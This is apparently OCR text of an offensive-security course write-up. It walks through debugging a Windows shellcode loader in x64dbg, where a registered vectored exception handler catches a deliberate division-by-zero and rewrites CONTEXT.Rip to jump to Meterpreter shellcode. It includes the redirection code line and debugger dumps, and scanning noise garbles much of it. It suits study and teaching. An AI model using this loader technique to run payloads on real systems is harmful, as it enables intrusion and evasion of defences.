00007FFF81790020 (00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| ... eevvrnnnnnns
00007FFF81790030 |00 00 00 00|00 00 00 00|00 OO 00 OO|E8 00 00 Q00| ..... gapooooaog
00007FFF81790040 |OE 1F BA OE|00 B4 09 ¢D|21 B8 01 4c|cD 21 54 68|..°.. .I! .LI!Th
00007FFF81790050 (69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E 6E 6F|is program canno
00007FFF81790060 | 74 20 62 65|20 72 75 6E|20 69 6E 20|44 4F 53 20|t be run in DOS
00007FFF81790070 | 6D 6F 64 65|2E OD OD 0A |24 00 00 00|00 00 00 0O|mode....$.......
00007FFF81790080 |07 A7 68 6A|43 C6 06 39|43 C6 06 39|43 C6 06 39|.8hjCk.9CA.9CL.9
00007FFF81790090 | 57 AD 06 38|42 c6 06 39|57 AD 05 38|60 c6 06 39|w..8B£.9w..8 £.9
NNNNZEEERT17ANNAN [ E7 An N2 2R Ic? cA NA 20AIE7 Aan NR 3RIB- 7 NA 2WQlw  RAX Qw R\ Q
Command: ‘

Paused ‘INT3 breakpoint at <ntdll.KiUserExceptionDispatcher> (00007FFF81831450)!

This strongly indicates that the dispatching of exception information from the Windows kernel back to user mode is

working correctly. At this stage, the kernel has finished handling the exception internally and is transferring control—

along with the captured exception data—to user mode so that registered vectored exception handlers can process it.

At this point, we have completed this part of the debugging process and successfully verified that exception

information is correctly dispatched from the Windows kernel back to user mode. As shown below, the debugger is

still paused at KiUserExceptionDispatcher().We will continue from this exact state in the next phase of the debugging

process.

UYDumpl  @Dump2 @UDump3 Y Dump4 @Dump5 @& watch1  Ix=lLocals  “L Struct
Address Hex ASCII
00007FFF81790000 [4D 5A 90 00|03 00 00 00|04 00 00 OO|FF FF 00 O0|MZ... .00 uue VY.
00007FFF81790010 | B8 00 00 00|00 00 00 00|40 00 00 00|00 00 00 QO| ,....... @.......
00007FFF81790020 |00 00 00 00|00 00 00 00|00 00 00 0000 00 00 OO ....vvvvuvuuunnn
00007FFF81790030 | 00 00 00 00|00 00 00 00|00 OO0 OO0 OO|E8 00 00 00| ...cvvvuuuns e...
00007FFF81790040 |OE 1F BA OE|00 B4 09 ¢p|21 B8 01 4c|/cp 21 54 68|..°.. .1l .Li!Th
00007FFF81790050 |69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E 6E 6F|is program canno
00007FFF81790060 | 74 20 62 65|20 72 75 6E|20 69 6E 20|44 4F 53 20|t be run in DOS
00007FFF81790070 | 6D 6F 64 65|2E OD OD 0A|24 00 00 00|00 00 00 OO|mode....$.......
00007FFF81790080 |07 A7 68 6A|43 C6 06 39(43 C6 06 39|43 C6 06 39|.8hjCA.9CL.9CL.9
00007FFF81790090 |57 AD 06 38|42 c6 06 39|57 AD 05 38|60 C6 06 39|w..8B£.9w..8 £.9
NNNNZEEER17ANNAN | E7 An N2 2R IrC? A NA G187 Aan NR 2R IB- 7 NA 201w RAF 9w R\rc Q
Command: ‘

| Paused  INT3 breakpoint at <ntdll.KiUserExceptionDispatcher> (00007FFF81831450)! |
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Task: Vectored Exception Handling

So far, we have been able to observe through debugging that the exception triggered by the intentional division-by-
zero operation occurred as expected, and that the exception information was correctly dispatched from the Windows
kernel back to user mode. This confirms that the exception-handling path is functioning properly.

Next, we want to verify that the exception is correctly handled by our registered Vectored Exception Handler, called
VehHandler(), which is implemented in the loader’s code. More specifically, we want to debug and analyze the
ExceptionPointers structure—namely the ExceptionRecord and ContextRecord—to confirm that the VEH handler takes
control of the correct exception (in this case, the division-by-zero exception).

In addition, we want to inspect CONTEXT.Rip within the CONTEXT structure to verify that it is modified as intended. The
goal is to ensure that execution is redirected from the original faulting instruction (the division-by-zero operation) to
the memory address of our Meterpreter shellcode, which is required to transfer execution flow to the shellcode.

As shown below, the debugger is still paused at the breakpoint set on KiUserExceptionDispatcher(). As mentioned at
the end of the previous debugging section, this is expected behavior. From here, we will continue the debugging
process and proceed with the next steps.

Dumpl  @UDump2 @4Dump3 EUDump4 @4 Dump5 & Watch1l  Ix=lLlocals  “L Struct

Address Hex ASCII
00007FFF81790000 (4D 5A 90 00|03 00 00 0004 00 00 QO|FF FF 00 00(MZ.......... Vy..
00007FFF81790010 (B8 00 00 00|00 00 00 00|40 00 00 00|00 00 00 00| ,....... @.......
00007FFF81790020 | 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 OO ...vvveeeunnnnn.
00007FFF81790030 |00 00 00 00|00 00 00 00|00 OO0 00 OO|E8 00 00 00| .+ v eveeuunnn e

00007FFF81790040 | OE 1F BA OE|00 B4 09 ¢cp|21 B8 01 4c|cp 21 54 68|..°.. .1l .LI!Th
00007FFF81790050 |69 73 20 70|72 6F 67 72|61 6D 20 63|61 B6E 6E 6F|is program canno
00007FFF81790060 | 74 20 62 65|20 72 75 6E|20 69 6E 20|44 4F 53 20|t be run 1in DOS
00007FFF81790070 | 6D 6F 64 65|2E OD OD 0A|24 00 00 00|00 00 00 OO|mode....$.......
00007FFF81790080 | 07 A7 68 6A |43 C6 06 39|43 c6 06 39|43 c6 06 39| .8hjCA.9CE.9CL.9

00007FFF81790090 | 57 AD 06 38|42 ¢c6 06 39|57 AD 05 38|60 c6 06 39|w..8B£.9w..8 £.9
NNNN7EEER170NNAN I E7 An N2 2R Ic? A NA RAGIE7 An NR 2R IEBC 7 NA 201w RAF 9w R\ Q

Command: |

I Paused ‘INT3 breakpoint at <ntdll.KiUserExceptionDispatcher> (00007FFF81831450)! I

To continue, as shown below, click the Run button in x64dbg or simply press F9.

SE[3i tawg taBo2sehs a0 B
B cpru |« Log | 1l Notes ® Breakpoints  ®# Memory Map [ | Call Stack =3 SEH le2] Script & Symbols

FC cld KiUserexceptionDispatct
48:8B05 D8FD(mov rax,qword ptr ds:[7FFF8191
48:85¢0 test rax,rax

r v 74 OF je ntdl11.7FFF8183146C

: 48:8BCC mov rcx,rsp

; 48:81c1 F004( add rcx,4F0

! 48:8BD4 mov rdx,rsp

! ®|00007FFF8183146A FFDO call rax

I < >

.text:00007FFF81831450 ntd11.d17:$A1450 #A0850 <KiUserExceptionDispatcher>
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As shown below, we have hit the software breakpoint that was set earlier on VehHandler() inside the memory in our
loader. This means that the instruction pointer (RIP) is how positioned at the entry point of our registered Vectored
Exception Handler, VehHandler().

& cru |2 Log |l Notes ® Breakpoints  ™# Memory Map [ | Call Stack =% SEH le:| Script & Symbols

48:894c24 08 |mov_gword ptr ss:[rsp 8],rcx |main.c:126 |

®| O000/FF/5D4C384 TS push™ rbp
®| 00007FF75D4C384 57 push rdi
®| 00007FF75D4C3847 48:81EC F800( sub rsp,F8
®| 00007FF75D4C384E 48:8D6C24 20 |lea rbp,qword ptr ss:[Irsp+20] | [rsp+20]:_wctype+59148
@ 00007FF75D4C3853 48:8D0D 0D19( Tea rcx,qword ptr ds:[<__322DB{main.c:15732480
®|00007FF75D4C385A E8 3EDBFFFF |gall win32veh.7FF75D4C139D
®| 00007FF75D4C385F 90 nop

< >

qword ptr ss:[rsp+08]=[00000070076FF210]=0
rcx=00000070076FF250

.text:00007FF75D4C3840 win32veh.exe:$13840 #2C40 <vehHandler>

& Dump 1 ¢YDump2 @WDump3 @UDump4 @4 Dump5 @ Watch 1 lx=l Locals ~ “L Struct

Address Hex ASCII
00007FFF81790000 [4D 5A 90 00|03 00 00 00|04 00 00 O0|FF FF 00 00[MZ.......... Vy. .
00007FFF81790010 |[B8 00 00 00|00 00 00 00|40 00 00 00({00 00 00 00| ,....... @.......
00007FFF81790020 |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| «a v v e e e nennn.
00007FFF81790030 |00 00 00 00|00 00 00 00|00 00 00 OO|E8 00 00 00| ... vcvuenn. @

00007FFF81790040 |OE 1F BA OE|00 B4 09 ¢D|21 B8 Ol 4c|cD 21 54 68|..°.. .1l .LIITh
00007FFF81790050 | 69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E G6E 6F|is program canno
00007FFF81790060 | 74 20 62 65|20 72 75 6E|20 69 6E 20|44 4F 53 20|t be run in DOS
00007FFF81790070 | 6D 6F 64 65|2E OD OD 0A|24 00 00 00|00 00 00 00|mode....$.......
00007FFF81790080 | 07 A7 68 6A|43 c6 06 39|43 c6 06 39|43 c6 06 39|.8hjCck.9CA.9CL.9

00007FFF81790090 | 57 AD 06 38|42 c6 06 39|57 AD 05 38|60 c6 06 39|w..8B£.9w..8 £.9
ANNN7EEER179NNAN | 57 an N2 2R |12 £A NA 201E7 An NR 2WIG- 7 NA 20w fAF Aw_ 8&\c Q

Command: ‘

Paused ‘INT3 breakpoint at <win32veh.VehHandler> (00007FF75D4C3840)! I

Reaching this breakpoint confirms that the previously triggered exception was successfully caught and dispatched to
our VEH. In other words, the vectored exception handling mechanism is working as intended, and control has now
been transferred to our custom exception handler.

At this point, the debugger is still paused at the breakpoint on VehHandler(). In the next step, we want to return control
to the loader’s console window and print some useful information about the ExceptionPointers structure. To do this,
as shown below, click the Run button in x64dbg or simply press F9 to resume execution.

DERiN te 9§ tauB s Py a0 S
B cru |« Log | 1| Notes ® Breakpoints  ®# Memory Map [ )/ Call Stack =3 SEH lex| Script &] Symbols

[RIP g 48:894c24 08 [mov qword ptr ss:[rsp+8],rcx |[main.c:126 o
®|00007FF75D4C3845 55 push rbp
®||00007FF75D4C3846 57 push rdi
®||00007FF75D4C3847 48:81Ec F800( sub rsp,F8
®(|00007FF75D4C384E 48:8D6C24 20| 1ea rbp,qword ptr ss:|[[rsp+20]
®||00007FF75D4C3853 48:8D0D 0D19( lea rcx,qword ptr ds:[<__322DB{main.c:15732480
®|00007FF75D4C385A E8 3eDBFFFF |call win32veh.7FF75D4C139D
®||00007FF75D4C385F 90 nop v
< >

gword ptr ss:[rsp+08]=[00000017896FF190]=7FFF00000000
rcx=00000017896FF1D0

.text:00007FF75D4C3840 win32veh.exe:$13840 #2C40 <vehHandlers>
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As shown in the image below, back in the loader’s console window, we can now see detailed and useful information
about the ExceptionRecord pointer. This output was printed directly from our VEH handler and reflects the exception
data passed to it by the operating system.

C:\Users\user\Desktop\ESI\ESI_Material_Master RedOps\01-Loaders\B5-Exce... — Od X

[#] Press <ENTER> to prepare for shellcode execution via VEH.
[#] We will trigger a division by zero exception.
[#] The VEH will handle the exception and redirect execution to the shellcode.

R R R

# EXCEPTION DEBUGGING INFORMATION i
W R R R R R B PR R R B S

[0] EXCEPTION_POINTERS Structure (Argument 1)
Address (RCX holds this): 0xP000BO17896FF1DO

CLARIFICATION:
In the x64 calling convention, the first argument to the VEH function
is passed in the RCX register. This argument is a pointer to the
EXCEPTION_POINTERS structure, which contains two pointers:

1. ExceptionRecord (describes the crash)

2. ContextRecord (describes the CPU state)

[1]) EXCEPTION_RECORD Structure
Base Address (ExceptionInfo—->ExceptionRecord): 0x00000017896FF930
Offset | Field | Value
I I
+0x00 | ExceptionCode | OxCeeeEE9LY (DIVIDE_BY_ZERO)
+0x04 | ExceptionFlags | 9x00000E00
+0x08 | ExceptionRecord | 8x0000EEEO0EAAEEAA (Nested Exception)
+0x10 | ExceptionAddress | ©xBOEO7FF75DUC3975 <-—— CRASH LOCATION
+0x18 | NumberParameters | ©

In the next step, we will use this information for further debugging in x64dbg and verify whether the ExceptionAddress
(the faulting address) printed in the console (in this case 0x00007FF75D4C3975) correlates with what we observe in the
debugger. This comparison helps confirm that the exception data received by our VEH handler is accurate and
consistent with the state captured by x64dbg.

As shown below, we now take the ExceptionAddress printed in the loader’s console and use it together with the dump
command in x64dbg. By dumping the memory at this address, we can directly inspect the instructions located at the
faulting location and verify that it matches the instruction that caused the exception.

@y Dump 1 4 Dump 2 @y Dump 3 @Y Dump4 g% Dump 5 % Watch 1 lx=| Locals "L S

Address Hex ASCII
00007FF75D4C3975 [F7 7D 24 89(45 44 EB 00(48 8B 4D 08|FF 15 89 06|=}$.EDE€.H.M.y...
00007FF75D4C3985 |01 00 90 33|cO 48 8D A5(28 01 00 00|5F 5D €3 cC|...3AH.¥(..._]AL

00007FF75D4C3995 | CC CC CC CC|CC CC CC CC|CC CC CC CC|CC CC CC CC|IIIITITTIIIIIITIIIT

00007FF75D4C39A5 | CC CC CC CC|CC CC CC CC|CC CC CC CC|CC CC CC CC|IITITITITIITIITIIIT

00007FF75D4C39B5 | CC CC CC CC|CC CC CC CC|FF 25 3D 06|01 00 FF 25| IITIIIiiy%=...y%
00007FF75D4¢39¢5 [3F 06 01 00|FF 25 41 06|01 00 cC 48|83 EC 08 4C|?...y%A...IH.7.L
00007FF75D4C39D5 |88 €9 48 85|C9 74 2A 48|85 D2 74 25|4D 85 cO 74| .EH.ET*H.Ot¥%¥M.At
00007FF75D4C39E5 |20 48 89 3C |24 BO cC 48(8B F9 48 8B|CA F3 AA 49| H.<$°IH.UH.EO2I
00007FF75D4C39F5 | 88 00 48 8B|3C 24 49 89(41 04 49 89|51 OC 4D 89|..H.<$I.A.I.Q.M.

00007FF75D4C3A05 |08 48 83 C4|08 €3 CC CC|CC CC CC CC|CC CC CC CC|.H.A.ATIITIITIiIiT

L0NNNZEE7ENACRANS | cc cc cc cclcc cc o colcc cc oo AR18Q B 24 10 TITTTTTTTTi0 \ €
Connnand:ldump OXOOOO7FF75D4C3975|
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At this stage, we can already see the raw bytes in the Dump view that correspond to the instruction which caused the
exception. However, to better understand what actually happened, we need to view the corresponding opcode.

To do this, as shown below, right-click on the exception address in the dump view and select Follow in Disassembler
in x64dbg. This allows us to switch from the raw byte representation to the disassembled instruction that triggered
the exception.

g9Dumpl  @UDump2 @4 Dump3 EYDump4 @UDump5 @ Watch1l  Ix=llocals It Sf

Address __ Hex ASCII
00007FF75D4C3975|' =7 7n 24 RalAt 44 ce nnlaf Re Ap Q08 |FF 15 89 06 %}$.I_EDé.H.M.y.::
U000/FF/5D4C3985 |4 Binary » |10 00|5F 5D €3 cC|...3AH.¥(,..._]AI
00007FF75D4C3995 C CC|CC €C €C CC|ITTITITITTITITIIT
00007FF75D4c39A5 || ] Copy P Ic cc|cc cc cc cc|ITiTiiiiiiiiiiiz
00007FF75D4C39B5 A D 06|01 00 FF 25|IIITiiiiiy%=...y%
00007FF7504c39c5@ Selllon Lo Llesse sz C 48|83 EC 08 4C|?,..y%A...IH.1.L
00007FF75D4C39D5 % Follow in Memory Map 4 254D 85 CO 74 .EH.EF?H.?t%M.’At
00007FF75D4C39E5 8 8B|CA F3 AA 49| H.<$°IH.UH.EG®I
00007FF75D4C39F5 # Label Current Address 9 89|51 OCc 4D 89|..H.<$I.A.I.Q.M.
00007FF75D4C3A05 C CC|CC €C CC CC| . H. A ATITIIIITIiT
AONO7EE7Endc3a1E & Watch QWORD c 42180 S 24 10/ TTTTITIIIEIN A\ G
Command: dump 0xC -~ Modify Value Space

As shown below, and as expected, the memory address printed in the console for ExceptionAddress (in this case
0x00007FF75D4C3975) leads us directly to the instruction that caused the exception. When we follow this address in
the disassembler, we can see the exact line of code responsible for triggering the division-by-zero exception.

& cru |t Log | I Notes ® Breakpoints  ®#® Memory Map [} Call Stack =y SEH 2] Script
®|00007FF75D4C3975 F77D 24 1div_dword ptr ss:[rbp:24] |
®|[0000/FF/5D4C3978 8945 44 mov_aword ptr ss:Lropta4],eax
®|00007FF75D4C397B( ~ EB 00 jmp <win32veh.$LN7> main.c:224

:0 00007FF75D4C397D 48:8B4D 08 mov rcx,qword ptr ss:|[rbp+8J |main.c:239
@|00007FF75D4C3981 FF15 8906010(¢ call qword ptr ds:[<&Rt1Remove
@|(00007FF75D4C3987 90 nop
@|00007FF75D4C3988 33¢0 Xor eax,eax main.c:246
@®|(00007FF75D4C398A 48:8DA5 2801( lea rsp,qword ptr ss:[rbp+128]/main.c:247

<

dword ptr ss:[rbp+24]=[24 '§$']=777?

.text:00007FF75D4C3975 win32veh.exe:$13975 #2D75

This confirms that the ExceptionRecord contains the correct faulting address and that the information printed by our
VEH handler accurately reflects the instruction that caused the exception.
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Next, as shown below, we make use of the information about the CONTEXT structure that was printed to the loader’s
console. More specifically, we focus on the CONTEXT.Rip field at offset OxF8.

C:\Users\user\Desktop\ESI\ESI|_Material_Master_RedOps\01-Loaders\B5-Exce... — O X
~

[2]] CONTEXT Structure (CPU State)

Base Address (ExceptionInfo->ContextRecord): Ox00000Q17896FFULO

Offset | Field | value

| |

+0x30 | ContextFlags | Ox0010005F

+0x78 | Rax | Gx00PEREEEAEARERBOL

+0x8@ | Rcx | Ox0OOOOEOAFFFFFFFF

+0x88 | Rdx | Ox0000000REEROE0O

+0x98 | Rbx | 0x00000EOEAEERE000

+0x98 | Rsp | Ox00000017896FFB6O

+0xA0 | Rbp | Gx0OPOBE17896FFBSO

+0xA8 | Rsi | 9x0000000PEREROOAO

+0xBO® | Rdi | Ox0000000000000000

+OxF8 | Rip | GxBOBO7FF75D4C3975 <——— INSTRUCTION POINTER

[3] CRITICAL DEBUGGING CONCEPT: Why break on the Storage Address?

We are debugging the VEH function, which is currently running.
The VEH does not execute the crashed code; it modifies a struct.

A. The Code Address (Ox@08Q7FF75D4C3975)
— This is the address of the 'idiv' instruction that failed.
- Putting a breakpoint here (bp) only works if the CPU
tries to execute this instruction again.

B. The Storage Address (0xQ0000017896FF538)
— WHAT IS THIS? This address is inside the CONTEXT structure.
— The memory address represents Context.Rip in the snapshot of CONTEXT.
- WHERE IS IT? System—-managed memory (often on the dispatcher's stack). v

The goal of this step is to verify that CONTEXT.Rip is correctly modified by our VEH handler—changing it from the
original ExceptionAddress (the instruction that caused the division-by-zero exception) to the memory address of our
Meterpreter shellcode. This modification is critical, as it redirects execution flow away from the faulting instruction
and transfers control to the shellcode instead.

As shown below, we once again use the dump command in x64dbg—this time with the memory address stored in
CONTEXT.Rip (in this case 0x00007FF75D4C3975).

BDumpl @4 Dump2 @4 Dump3 @4 Dump4 @ Dump5 @& Watch1l  Ilx=llocals ‘=S

Address Hex ASCII
00007FF75D4C3975 |F7 7D 24 89|45 44 EB 00|48 8B 4D 08 |FF 15 89 06 +}$.I§Dé.H.M.y.::
00007FF75D4C3985 |01 00 90 33|cO 48 8D A5(28 01 00 00|5F 5D €3 cC|...3AH.¥(..._]AL

00007FF75D4C3995 | CC CC CC CC|CC CC CC CC|CC CC CC CC|CC CC CC CC|IIIITITIIIIITIIIIT

00007FF75D4C39A5 [CC €C CC CC|CC CC CC CC|CC CC €C CC|CC CC CC CC|IITITITITITITTssssss
00007FF75D4C39B5 |CC CC CC CC|CC CC CC CC|FF 25 3D 06|01 00 FF 25|IIITiiiiy%=...y%
00007FF75D4c39¢5 [3F 06 01 00|FF 25 41 06|01 00 cC 48|83 EC 08 4C|?...y%A...IH.7.L
00007FF75D4C39D5 |88 C9 48 85|C9 74 2A 48|85 D2 74 25|4D 85 €O 74| .EH.ET*H.OTt%M.AT
00007FF75D4C39E5 | 20 48 89 3C|24 BO cC 48(8B F9 48 8B|CA F3 AA 49| H.<$ IH.UH.EG®I
00007FF75D4C39F5 |88 00 48 8B|3C 24 49 89(41 04 49 89|51 0OC 4D 89|..H.<$I.A.I.Q.M.

00007FF75D4C3A05 |08 48 83 C4|08 C3 CC CC|CC CC CC CC|CC CC CC CC|.H. A, AIIIIIIIIiT

LONNNZEE7ENAC2ANE | cc cc cclcc cc coc cclec oc cc ARIRQ e 24 1N TYTTTT7777T0 A\ €
Con"nand:ldump OXOOOO7FF75D4C3975|
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Remember, CONTEXT.Rip represents the instruction pointer value captured in the CONTEXT shapshot at the exact
moment the division-by-zero exception was raised. In other words, this value reflects the CPU state before our VEH
handler (VehHandler()) modifies it.

Therefore, before any redirection takes place, we expect CONTEXT.Rip to point to the instruction that caused the
exception—namely, the division-by-zero instruction. Dumping and inspecting this address confirms that the CONTEXT
structure correctly captures the faulting instruction prior to being altered to redirect execution to our shellcode.

Once again, as shown below, we use the Follow in Disassembler command in x64dbg to switch to the disassembly
view for this address.

$uDumpl  YyYDump2 W4Dump3 §YDump4 YYDump5 & Watch1l Ix-llocals ‘LS
Hex ASCII
00007FF75D4C3975 |=7 7~ 24 ealar aa-ro anltao oe 4n 08 |FF 15 89 06|+}$.EDE.H.M.¥...
00007FF75D4C3985 4] Binary » )0 00(5F 5D €3 cC|...3AH.¥(,.._]AI
00007FF75D4C3995 IC CC|CC cC cC CC|IIIIITIITITIITIIT
00007FF75D4c39A5 1 | Copy * Ic cclcc cc cc cc| ITTTITTTTITTITTiILT
00007FF75D4C39B5 P D 06|01 00 FF 25|IIITIiTiy%=...¥%
00007FF7504¢ 395 [iid_Follow in Disassembler lic 48|83 cc 08 42|7. . gHA. o TH i oL
00007FF75D4C39D5 :Eé‘ Follow in Memory Map '4 254D 85 c0 74 .EH.Etf"H.Ot%M.At
00007FF75D4C39E5 I8 88|cA F3 AA 49| H.<$ IH.UH.EG®I
00007FF75D4C39F5 4 Label Current Address : 9 89|51 OC 4D 89|..H.<$I.A.I.Q.M,
AAAAZecoFassbant [ f i Faiassiliisd
@ Watch QWORD
:1d 0x( =
Command.@ LT R

An attentive reader may have already noticed that the memory address stored in CONTEXT.Rip is identical to the
ExceptionAddress contained in the ExceptionRecord. As shown below and expected, this confirms that the captured
CONTEXT.Rip points to the exact instruction that caused the exception—in this case, the division-by-zero instruction
shown below.

& cru | .t Log | Notes ® Breakpoints  ®# Memory Map [} Call Stack =7 SEH lt3| Script
®|00007FF/5D4C3975 F/77D 24 1div_dword ptr ss:[rbpi24] |
®||0000/FF/5D4C39/8 6945 44 mov dword ptr ss:rbp+44],eax
@|00007FF75D4¢C3978( ~ EB 00 jmp <win32veh.$LN7> main.c:224

|:>0 00007FF75D4C397D 48:884D 08 mov rcx,qword ptr ss:|frbp+8]] |main.c:239
®|(00007FF75D4C3981 FF15 8906010( call qword ptr ds:[<&RtTRemove
®||00007FF75D4C3987 90 nop
®|00007FF75D4C3988 33¢0 Xor eax,eax main.c:246
@|00007FF75D4C398A 48:8DA5 2801( Tea rsp,qword ptr ss:[rbp+128]imain.c:247
<

dword ptr ss:[rbp+24]=[24 '§$']=777?

.text:00007FF75D4C3975 win32veh.exe:$13975 #2D75

This correlation further verifies that the CONTEXT structure accurately reflects the CPU state at the moment the
exception was raised.
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In the next step, we want to verify that our registered VEH correctly handles the exception as defined in the loader’s
code. Specifically, we want to confirm that the VEH modifies CONTEXT.Rip and sets it to the memory address of our
shellcode.

ExceptionInfo->ContextRecord->Rip = (DWORD64)pAddressdata;

By changing the saved instruction pointer in the CONTEXT structure, the VEH redirects execution flow away from the
faulting instruction and transfers control directly to the shellcode. Verifying this behavior confirms that our exception
handler performs the intended redirection logic correctly.

To observe the change of CONTEXT.Rip—from the memory address of the instruction that caused the exception
(division by zero) to the memory address of our Meterpreter shellcode—we first need to set an additional breakpoint
on the storage location of CONTEXT.Rip itself. In this case, that storage address is 0x0000001F60AFF578. This address
must not be confused with the value currently stored in CONTEXT.Rip, which still points to the faulting instruction at
0x00007FF75D4C3975.

As shown below, this time we do not set a software breakpoint. Instead, we configure a hardware breakpoint of type
QWORD (write). This breakpoint triggers as soon as the memory location holding CONTEXT.Rip is modified. Using a
hardware write breakpoint allows us to precisely observe the moment when our VEH updates CONTEXT.Rip to redirect
execution to the shellcode.

UYDumpl @Dump2 @WDump3 @UDump4 @4YDump5 & Watch1  Ix<llocals  ° Struct
ress [ Hex ASCIT

0000001F60AFES/78)7F 20 A~ Enle7 7c AN NnlZe N2 00 0000 00 00 O0fw9L]+. ... ... ...
0000001F60AFF58t 51| Binary » 00 00 00 00| ...vvviniennns
0000001F60AFF59¢ 00 00 00 00 YV
0000001F60AFF5A¢ L1 Copy 4 00 00 00 00| ..ovvivieieennns
0000001F60AFF5B¢ A 00 00 00 00| ..o vn i i i eee s
0000001F60AFFAc: il Follow in Disassembler 00 00 00 00| ....o.i.iiiiill]
OOOOOO].FGOAFFSD:% Follow QWORD in Disassembler 00 00 00 00| vv e v e vinnnnns
0000001F60AFF5E! i 00 00 00 00| ..o v i i i eee s
0000001F60AFF5F{ g4y Follow QWORD in Current Dump 00 00 00 00| ..vveeveeennnnn.
OOOOOOlFGOAFFGOlH Follow QWORD in Dump 5 22 22 22 22 ................
Command: Il Follow in Stack
Running |Hardw1 Zz Follow in Memory Map

# Label Current Address

& Watch QWORD

_/" Modify Value Space

|* Breakpoint | @, Hardware, Access ’ ‘

/21 Find Pattern... Ctrl+B | ®: Hardware, Write v | e, Byte

fifi Find References Ctr+R @, Hardware, Execute e, Word

m Sync with expression S

Allocate Memory "8, Memory, Access » @ Dword

i3 I'l Qword I

Memory, Read L4 o
& Goto » "_! i I
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A hardware write breakpoint is required here because our goal is to observe when the value of CONTEXT.Rip
changes, not when execution reaches a specific instruction. At this stage, execution has already faulted, and
CONTEXT.Rip is no longer an active instruction pointer—it is simply a data field in memory (in this case at
0x00000017896FF538) that will be modified by the VEH. A software breakpoint cannot monitor arbitrary
memory writes; it only triggers when execution reaches a patched instruction (for example, an INT3).

By configuring a hardware breakpoint of type QWORD (write) on the memory location that stores
CONTEXT.Rip, the debugger will trigger exactly at the moment the VEH updates this field. This allows us to
precisely observe the transition of CONTEXT.Rip from the faulting instruction address to the address of our
Meterpreter shellcode, confirming that control-flow redirection occurs as intended. In short, software
breakpoints monitor execution flow and a hardware write breakpoints monitor state changes in memory

To verify that the hardware breakpoint was set correctly, we can switch to the Breakpoints tab in x64dbg. As shown
below, the hardware write breakpoint on CONTEXT.Rip (in this case 0x0000001F60AFF578) is listed and enabled.

& cpru | Log . 1/ Notes ® Breakpoints ~ ®# Memory Map  [| Call Stack =@ SEH J#2| Script & Symbols <2 Source
Type Address Module/Label/Exception state Disassembly
software
00007FFF81812070 | <ntd11.d11.RtT1AddvectoredexceptionHandler> | Enabled | xor r8d,ra8d
00007FFF8182DDFO | <ntd11.d17.zwContinue> Enabled |mov ri0,rcx
00007FFF81831450 | <ntd11.d11.Kiuserexceptionbispatcher> Enabled | cld
§ (O FEPEYEET NN <win32veh. exe.VehHandler> Enabled |mov qword ptr ss:[[rsp+8J,rcx
Hardware
0000001F60AFF578 Enabled| jne’ 1F60AFF5B3

This confirms that the breakpoint is properly configured and ready to trigger as soon as the VEH modifies the
CONTEXT.Rip field in memory. To continue the debugging process and observe the transition of CONTEXT.Rip to the
shellcode address, we now need to resume execution from the loader’s console window. As shown below, simply

press <Enter> to continue.

B C:\Users\user\Desktop\ESI\ESI_Material_Master_RedOps\01-Loaders\B5-Exc.. = — | X

B. The Storage Address (0x0000QQACUBCFFOB8)

WHAT IS THIS? This address is inside the CONTEXT structure.

The memory address represents Context.Rip in the snapshot of CONTEXT.
WHERE IS IT? System—managed memory (often on the dispatcher's stack).
WHY? When the crash happened, Windows took a 'snapshot' of

all CPU registers and saved them here.

HOW TO DEBUG: The line 'ContextRecord->Rip = ...' writes to

THIS specific memory address to change the snapshot.

To see the change happen, we must watch this memory address.

That is why we use a Hardware Write Breakpoint (bphws).

(4] x6Udbg Navigation Commands
To view ExceptionRecord: dump 0xG00QOGACUBCFFLBO
To view ContextRecord: dump OxGEOEOEACUBCFEFCO
To watch Rip change: bphws Ox00000OACUBCFFOB8, w, 8

R S S iR s e s g 22

Press <ENTER> to continue execution (and modify Rip)...|
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As shown below, once execution continues, the hardware write breakpoint set on CONTEXT.Rip is triggered. This
indicates that the memory location storing CONTEXT.Rip was written to and its value was changed.

@YDumpl @4YDump2 @YDump3 @UDump4 @UDump5 @ Watchl Ix-llocals L

Address Hex ASCII

0000001F60AFF578 |08 18 4c SD[F7 7F 00 00(7F 02 00 00|00 00 00 Q0| ..L]=. ... vuuu.n.
0000001F60AFF588 (00 00 00 00|00 OO 00 00|00 00 OO0 QO|00 00 00 00| v vv v v i v e nnnenn
0000001F60AFF598 | 80 1F 00 OO(FF FF 02 00|00 00 00 00|00 00 00 Q0| cue ¥ Vuiriuennrns
0000001F60AFF5A8 [00 00 00 00|00 OO0 00 00|00 OO0 OO0 OO|O0 OO0 00 OO0 v v e v v v e v v e eeeen
0000001F60AFF5B8 (00 00 00 00|00 OO0 00 00|00 OO0 OO0 OO|0O0 00 OO0 OO0 v v e v v v v e eneenn
0000001F60AFF5¢C8 (00 00 00 00|00 OO0 00 00|00 00 OO0 QO|0O0 00 00 00| v vv v v i i e inennn
0000001F60AFF5D8 (00 Q0 00 00|00 OO0 00 00|00 OO0 00 QO|00 00 00 OO0 v ve i v v it e nnnenn
0000001F60AFF5E8 [00 00 00 00|00 OO0 00 00|00 OO0 OO0 OO|0O0 00 00 OO0 v v e v v v e v v e e e e nn
0000001F60AFF5F8 [00 00 00 00|00 OO 00 00|00 OO0 OO0 OO|00 00 00 00| v vv v v i v e nneenn

0000001F60AFF608 |00 00 00 00|00 00 00 0000 00 00 00|00 00 Q0 QO .......vvvuuannn
ONNNNNTEANAEERTR 10N 00 0N NNlon 00 on onlon oo oo noloo oo oo 0o

Command: ‘

Paused ‘ Hardware breakpoint (qword, write) at <&data> (0000001F60AFF578)!

This behavior confirms that CONTEXT.Rip was successfully modified by our VEH handler and rewritten to the memory
address of our shellcode. In other words, execution flow has been redirected from the faulting instruction to the
shellcode exactly as intended. To further validate this and ensure that CONTEXT.Rip now truly points to the memory
address of our Meterpreter shellcode, we can perform an additional verification step. As shown below, we use Follow
QWORD in Current Dump in x64dbg to follow the updated value stored in CONTEXT.Rip and confirm that it resolves
to the shellcode location.

§WDumpl  @YDump2 @UDump3 @4 Dump4 @ Dump5 @ Watch1l  Ixllocals °ES
Address Hex ASCII
LOOOOOO1F60AFF578 08 18 4C S5pDIF7 7F 00 00[7F 02 00 00/00 00 00 OO|L.L]+.....oumn..

FeOAFF @ Bina » |00 00 00 00| ................
0000001F60AFF598 = Iy 00 00 00 00| ....¥y.uuueuunn-
0000001F60AFF5A8 L[] Copy |00 00 00 00| .. vv v i in i ien
